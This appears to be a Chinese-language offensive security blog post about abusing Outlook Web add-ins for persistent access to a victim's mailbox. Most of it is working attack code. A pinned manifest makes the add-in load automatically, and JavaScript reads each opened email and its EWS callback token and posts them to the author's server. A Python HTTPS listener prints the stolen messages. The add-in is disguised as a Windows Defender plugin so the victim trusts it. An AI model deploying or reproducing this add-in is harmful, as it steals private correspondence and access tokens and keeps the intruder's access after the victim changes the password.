如何滥用Office Web加载项

 

一、背景

开发者可以使用Office加载项(add-ins)平台来扩展Office应用功能、与文档内容进行交互。加载项使用HTML、CSS以及JavaScript语言开发,使用JavaScript与Office平台交互。

所有的Office产品中都包含对应的API,但本文主要关注的是Outlook这款产品。

开发者可以使用一个manifest(清单)文件来部署加载项,该文件中包含加载项对应的名称以及URL,其他所有文件(包括HTML以及JavaScript)都托管在我们自己的基础设施上。

加载项必须使用HTTPS协议进行通信,因此我们首先需要一个有效的HTTPS证书。在本文中,我在Digital Ocean droplet中运行一个Apache实例,使用了Let’s Encrypt提供的证书。

 

二、已有研究成果

本文的某些灵感来自于Mike Felch和Beau Bullock去年在Wild West Hackin’ Fest上做的一次演讲,演讲视频大约从第20分钟开始涉及这方面内容,主要关注的是可以在XSS攻击中使用的Web加载项。

在本文中,我们将展示如何构建加载项,以便持久访问受害者的邮箱账户。

 

三、构建加载项

如果安装了相应功能,那么Visual Studio可以支持三种加载项的开发。我们需要安装“Office/SharePoint development”功能,才能使用VS开发加载项类型的项目。需要注意的是,即使不使用VS,我们也能创建这些加载项。Yeoman提供了一个加载项生成器,我们也可以使用文本编辑器,手动开发代码。

一旦我们创建适用于Outlook的加载项项目,VS就会帮我们构建一个基本的加载项,该加载项可以显示用户所收的电子邮件的相关信息。生成的加载项如下图所示,已部署到Office365中:

看起来可能效果一般,但我们的确可以访问所有的消息内容。

 

四、部署加载项

现在我们已经使用VS生成了一个基本的加载项,在修改加载项代码之前,我们需要仔细研究一下加载项的部署方式,了解这种方式对攻击过程的影响。

每个加载项都包含一个manifest文件,该文件是一个XML文档,其中包含加载项名称、某些配置选项以及资源地址。文件部分内容如下图所示,其中显示了我们的加载项所加载的部分资源:

<Resources>
      <bt:Images>
        <bt:Image id="icon16" DefaultValue="https://www.two06.info/Images/icon16.png" />
        <bt:Image id="icon32" DefaultValue="https://www.two06.info/Images/icon32.png" />
        <bt:Image id="icon80" DefaultValue="https://www.two06.info/Images/icon80.png" />
      </bt:Images>
      <bt:Urls>
        <bt:Url id="functionFile" DefaultValue="https://www.two06.info/Functions/FunctionFile.html" />
        <bt:Url id="messageReadTaskPaneUrl" DefaultValue="https://www.two06.info/MessageRead.html" />
      </bt:Urls>
      <bt:ShortStrings>
        <bt:String id="groupLabel" DefaultValue="My Add-in Group" />
        <bt:String id="customTabLabel" DefaultValue="My Add-in Tab" />
        <bt:String id="paneReadButtonLabel" DefaultValue="Display all properties" />
        <bt:String id="paneReadSuperTipTitle" DefaultValue="Windows Defender 365 Email Security" />
      </bt:ShortStrings>
      <bt:LongStrings>
        <bt:String id="paneReadSuperTipDescription" DefaultValue="Opens a pane displaying all available properties. This is an example of a button that opens a task pane." />
      </bt:LongStrings>
    </Resources>

我们只需要这个文件就可以部署加载项,可以通过Office 365的web页面来部署:

在“Settings”页面中,我们可以看到一个“Manage add-ins”菜单项。在“My add-ins”页面中,我们可以找到自定义加载项选项,其中下拉列表中就包含上传manifest文件的选项。

我们只需上传manifest文件,O365就可以帮我们安装相应的加载项。

作为攻击者,我们需要想办法向受害者部署我们的加载项。一旦我们通过O365 web页面部署加载项,加载项就会同步到该账户的每个会话。这意味着我们可以从我们自己设备访问受害者账户,部署恶意加载项,并让加载项自动与受害者的浏览器同步。需要注意的是,虽然受害者不必注销,但必须重新加载Outlook webapp,才能使改动生效。

我们还需要将加载项文件拷贝到我们的服务器上,包括HTML、CSS、JavaScript以及其他图像文件。

 

五、自动执行

为了武器化我们的加载项,我们需要让加载项能够自动执行:受害者无需点击按钮就能触发攻击行为。微软并不支持web加载项的自动执行,然而我们可以通过一些“黑科技”来完成这个任务。

如果我们观察前面VS生成的加载项,我们可以看到一个“pin”(固定)图标。该图标的功能非常明显,可以让Outlook保持该加载项处于打开状态,无需通过按钮点击来加载。我们需要启用该功能才能显示该图标,单纯生成加载项并不会出现该图标。

为了启用pin功能,我们需要修改manifest文件,添加SupportsPinning元素。只有schema为1.1版的manifest才支持这个元素,因此我们还需要覆盖这个字段。大家可以参考此处资料了解完整的示例。

覆盖版本号后,我们可以在manifest文件的Action标签中添加SupportsPinning标签,如下所示:

<Action xsi:type="ShowTaskpane">
    <SourceLocation resid="messageReadTaskPaneUrl" />
    <SupportsPinning>true</SupportsPinning>
</Action>

pin图标的状态(代表加载项是否保持加载状态)也会在使用O365账户的所有浏览器上同步,这意味着我们可以在自己的设备上访问目标i账户,部署并固定加载项。当受害者下一次访问自己的账户时,就会自动加载并执行我们的加载项。

 

六、读取邮件

既然我们可以部署自己的加载项,然后自动执行加载项,现在我们可以开始构造功能更丰富的加载项。在本文中,我们的目标是读取受害者的邮件。我们可以扩展攻击范围,比如用来发送消息、查看计划安排等,但就本文的演示场景而言,读取消息内容已经能够满足我们需求。

VS已经帮我们生成了我们所需的大部分代码。首先,我们需要访问item对象,我们可以通过Office.context.mailbox.item对象来访问item对象,该对象中包含与消息有关的所有值,如发件人、主题以及附件详情等。我们必须使用异步调用来访问邮件正文,例如,我们可以使用如下代码来访问某个item的正文内容:

// Load properties from the Item base object, then load the
// message-specific properties.
function loadProps(args) {
    var item = args;
    var bodyText = "";
    var body = item.body;
    body.getAsync(Office.CoercionType.Text, function (asyncResult) {
        if (asyncResult.status !== Office.AsyncResultStatus.Succeeded) {

        }
        else {
            bodyText = asyncResult.value.trim();
            sendData(item, bodyText, serviceRequest);
        }
    });
}

上述代码中的sendData()会将数据传回我们的服务器。在本文的演示场景中,我会使用同一台服务器来托管我们的加载项文件,但这并不是攻击的必要条件。该函数的代码非常简单,如下所示:

//Send data to our server
function sendData(item, body, attachmentToken) {
    var item_data = JSON.stringify(item);
    var body_data = JSON.stringify(body);
    var token_data = JSON.stringify(attachmentToken)
    $.ajax({
    url: 'https://www.two06.info:8000/listen',
    type: 'post',
    data: { item: item_data, item_body: body_data, token: token_data },
    success: function (response) {
        //todo
    }
    });
}

在上述代码中大家可能会注意到attachmentToken这个值。我们无法通过JavaScript API访问附件,虽然我们可以获取附件名及其他细节,但无法访问具体文件。为了访问附件,我们需要使用EWS API。虽然我们可以直接使用受害者的凭据来向该API发起身份认证请求,但也可以使用JavaScript API获取Bearer Token,利用该令牌访问附件。通过这种方式,即使受害者修改了密码,我们也能成功访问附件。我们可以使用另一个异步调用来获取令牌,如下所示:

var serviceRequest = {
        attachmentToken: ''
    };

    function attachmentTokenCallback(asyncResult, userContext) {
        if (asyncResult.status === "succeeded") {
            //cache the result
            serviceRequest.attachmentToken = asyncResult.value;
        }
    }
    //Grab a token to access attachments
    function getAttachmentToken() {
        if (serviceRequest.attachmentToken == "") {
            Office.context.mailbox.getCallbackTokenAsync(attachmentTokenCallback);
        }
    }

接下来我们还需注册一个回调程序,以便在选定的邮件发生变化时接收通知。如果我们不执行该操作,那么当加载项加载后,只会给我们发送第一封邮件的详细信息:

// The Office initialize function must be run each time a new page is loaded. 
    Office.initialize = function (reason) {
        $(document).ready(function () {
            //register the ItemChanged event hander then call the loadProps method to grab some data
            Office.context.mailbox.addHandlerAsync(Office.EventType.ItemChanged, itemChanged);
            //fire off the call to get the callback token we need to download attachments - not needed yet but its just easier this way
            getAttachmentToken();
            loadProps(Office.context.mailbox.item);
    });
    };

//event handler for item change event (i.e. new message selected)
    function itemChanged(eventArgs) {
        loadProps(Office.context.mailbox.item);
    }

 

七、接收数据

现在我们已经创建能够发送已选定邮件详细信息的JavaScript代码。我们还需要使用其他代码来捕捉并显示这些信息。由于加载项必须使用HTTPS协议进行通信,因此我们的监听器必须能够接受HTTPS流量。我们可以修改基于HTTP服务器的Python3代码,完成该任务:

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Hello')

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        body = self.rfile.read(content_length)
        self.send_response(200)
        self.end_headers()
        response = BytesIO()
        response.write(b'Hello')
        self.wfile.write(response.getvalue())
        decoded = unquote(body.decode("utf-8"))
        Helpers.print_Message(decoded)

httpd = HTTPServer(('', 8000), SimpleHTTPRequestHandler)
httpd.socket  = ssl.wrap_socket(httpd.socket, keyfile=' /certs/privkey.pem', certfile=' /certs/cert.pem', server_side=True)

httpd.serve_forever()

这里我们覆盖了GET及POST处理函数,创建了所需的证书文件,以便正确接收HTTPS请求。

接下来,我们需要处理加载项发送过来的JSON数据。我们可以在客户端处理这些数据,只发送我们感兴趣的部分数据。然而让客户端发送所有可用的数据,并让我们的处理程序处理这些数据也是不错的选择。通过这种方法,我们可以根据具体需求提取其他数据:

class Helpers:
    def HTMLDecode(s):
        return s.replace("+", " ")

    def buildEmail(address):
        return address['name'] + " <" + address['address'] + ">"

    def buildEmailAddresses(addresses):
        if addresses:
            returnString = ""
            for address in addresses:
                returnString = returnString + Helpers. buildEmail(address) + 'n'
            return returnString
        return "None"

    def getAttachmentName(attachment):
        return attachment['name'] + " (ID:" + attachment['id'] +")"

    def getAttachments(attachments):
        if attachments:
            returnString = ""
            for attachment in attachments:
                returnString = returnString + Helpers.getAttachmentName(attachment) + 'n'
            return returnString
        return "0"

    def print_Message(decoded_data):
        #split the string into item data and body data
        split = decoded_data.partition("&item_body=")
        item_json = split[0]
        #now we need the body data and the token data
        split2 = split[2].partition("&token=")
        body_data = split2[0]
        token_data = split2[2]
        #item_json now needs to be parsed to grab what we need
        #strip the first 5 chars ("item=") from the json data
        parsed_json = json.loads(item_json[5:])
        item_json = parsed_json['_data$p$0']['_data$p$0']
        #we also need to parse the token object
        token_json = json.loads(token_data)
        #grab the values we want to display
        _from = Helpers.buildEmail(item_json['from'])
        _sender = Helpers.buildEmail(item_json['sender'])
        _to = Helpers.buildEmailAddresses(item_json['to'])
        _subject = item_json['subject']
        _attachment_count = Helpers.getAttachments(item_json.get("attachments", None))
        _ewsUrl = item_json['ewsUrl']
        _token = token_json['attachmentToken']
        print(Fore.RED + "[*] New Message Received" + Style.RESET_ALL)
        print("From: " + Helpers.HTMLDecode(_from))
        print("Sender: " + Helpers.HTMLDecode(_sender))
        print("To: " + Helpers.HTMLDecode(_to))
        print("Subject: " + Helpers.HTMLDecode(_subject))
        print("Body: " + Helpers.HTMLDecode(body_data))
        if _attachment_count != "0":
            print("Attachment Details: n")
            print(Helpers.HTMLDecode(_attachment_count))
            print("Use these values to download attachments...n")
            print("ewsURL: " + _ewsUrl)
            print("Access Token: " + _token)
        print(Fore.RED + "------------------------" + Style.RESET_ALL)

具体的函数代码这里不再赘述,最终我们可以利用上述代码解析JSON数据,将其拆分成item、正文以及API Token对象,提取并打印出我们感兴趣的信息。

现在如果我们部署构造好的加载项,当受害者访问邮件时我们应该能捕捉到邮件的具体内容:

上图中我隐去了API令牌信息,然而攻击者可以使用API令牌来访问EWS API,下载附件。虽然这超出了本文的研究范围,但需要注意的是,这个令牌只限于特定的附件ID,似乎不能用来进一步访问API。

 

八、界面问题

还有一件事情现在我们还没有真正去考虑:HTML页面。Mike和Beau在Wild West Hackin’ Fest的演讲中提到,攻击者有可能隐藏加载项的UI。不幸的是,目前我尚未成功复现这种场景。虽然有人曾要求官方添加该功能,但该功能似乎尚未开发出来。在研究过程中,我们一直能看到固定大小的一个附加项面板。

为了解决这个问题,攻击者可以采取一些社会工程学方法。我们可以按照自己喜欢的方式设置加载项的样式,在这个演示场景中,我将其伪装成一个Windows Defender的插件:

最终,我们可以自己设置加载项的样式以适配目标环境,但直到目前为止,我们依然无法删除UI。

 

九、总结

在本文中,我们介绍了如何利用Office JavaScript API来获得受害者邮箱的持久访问权限。在这个攻击场景中,我们通过凭据破解或者其他攻击手段获取了目标邮箱访问权限,然后部署了一个加载项,这样即使受害者更改了密码,我们也能持续访问目标收件箱内容。不幸的是,我们必须依赖一些社会工程学技巧,因为(目前)我们无法隐藏加载项的UI。

我们还可以通过其他方式来利用web加载项。我们可以为其他Office产品构建加载项,获取电子表格、演示文稿和SharePoint内容的访问权限。如果目标使用内部开发的加载项,我们还能修改JavaScript文件,使其包含恶意内容。微软并没有在manifest文件中包含任何文件签名机制,因此无法阻止我们修改JavaScript文件。

微软还允许开发人员将这些加载项推送到应用商店中,用户可以通过应用商店来安装加载项,这种方式隐藏的风险不言而喻。

最后还需要注意一点,当通过O365门户进行部署时,这些加载项也会与桌面版的Outlook应用同步。不幸的是,前文提到的pin功能似乎无法在web门户和桌面应用之间同步。如果未来这一点有所变化,那么这种攻击方法就更有用武之地。

(完)